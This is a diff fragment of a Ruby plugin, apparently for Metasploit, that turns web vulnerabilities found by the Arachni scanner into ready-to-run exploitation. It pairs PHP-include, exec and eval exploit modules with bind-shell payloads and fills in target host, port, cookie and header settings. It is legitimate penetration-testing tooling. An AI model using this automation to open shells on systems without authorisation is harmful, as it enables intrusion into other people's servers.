+ # choose best payloads for a standard bind shell
447
+ else
448
+ payloads = {
449
+ 'exploit/unix/webapp/arachni_php_include' => 'php/bind_php',
450
+ 'exploit/unix/webapp/arachni_exec' => 'cmd/unix/bind_perl',
451
+ 'exploit/unix/webapp/arachni_php_eval' => 'php/bind_php',
452
+ }
453
+ end
454
+ end
455
+
456
+ return payloads[sploit.fullname]
457
+ end
458
+
459
+ #
460
+ # Prepares a hash to be used as a module/framework datastore
461
+ # based on the provided vulnerability
462
+ #
463
+ def prep_datastore( vuln )
464
+
465
+ cvuln = vuln.dup
466
+
467
+ uri = cvuln[:host]
468
+ uri += cvuln[:path] if cvuln[:path]
469
+ uri += cvuln[:query] if cvuln[:query]
470
+
471
+ print_status( "Preparing datastore for '#{cvuln[:name]}' vulnerability @ #{uri} ..." )
472
+
473
+ datastore = {}
474
+ datastore["SRVHOST"] = "127.0.0.1"
475
+ datastore["SRVPORT"] = ( rand( 9999 ) + 6000 ).to_s
476
+ datastore["RHOST"] = cvuln[:host]
477
+ datastore["RPORT"] = cvuln[:port]
478
+ datastore["LHOST"] = "127.0.0.1"
479
+ datastore["LPORT"] = ( rand( 9999 ) + 5000 ).to_s
480
+
481
+ datastore["SSL"] = cvuln[:ssl]
482
+
483
+ case cvuln[:method]
484
+ when 'GET'
485
+ datastore["GET"] = hash_to_query( cvuln[:params] )
486
+ when 'POST'
487
+ datastore["POST"] = hash_to_query( cvuln[:params] )
488
+ end
489
+
490
+ datastore["METHOD"] = cvuln[:method]
491
+
492
+ datastore["COOKIES"] = cvuln[:headers]['cookie']
493
+ headers = cvuln[:headers]
494
+ headers.delete( 'cookie' )
495
+
496
+ datastore["HEADERS"] = hash_to_query( headers, '::' )
497
+ datastore["PATH"] = cvuln[:path]
498
+
499
+ return datastore.dup
500
+ end
501
+
502
+ #
503
+ # Splits and converts a query string into a hash
504
+ #
505
+ def hash_to_query( hash, glue = '&' )
506
+ return hash.to_a.map do |item|
507
+ next if !item[1]
508
+ "#{item[0]}=#{item[1]}"
509
+ end.reject do |i| !i end.join( glue )
510
+ end
511
+
512
+ end
513
+
514
+ def initialize( framework, opts )
515
+ super
516
+ # console dispatcher commands.
517
+ add_console_dispatcher( ArachniCommandDispatcher )
518
+ end
519
+
520
+ def cleanup
521
+ remove_console_dispatcher( 'Arachni' )
522
+ end
523
+
524
+ def name
525
+ "arachni"
526
+ end
527
+
528
+ def desc
529
+ %q{Provides an exploitation platform for web app vulnerabilities
530
+ discovered by the Arachni WebApp Security Scaner Framework
531
+ (http://github.com/Zapotek/arachni)}
532
+ end
533
+
534
+ end
535
+
536
+ end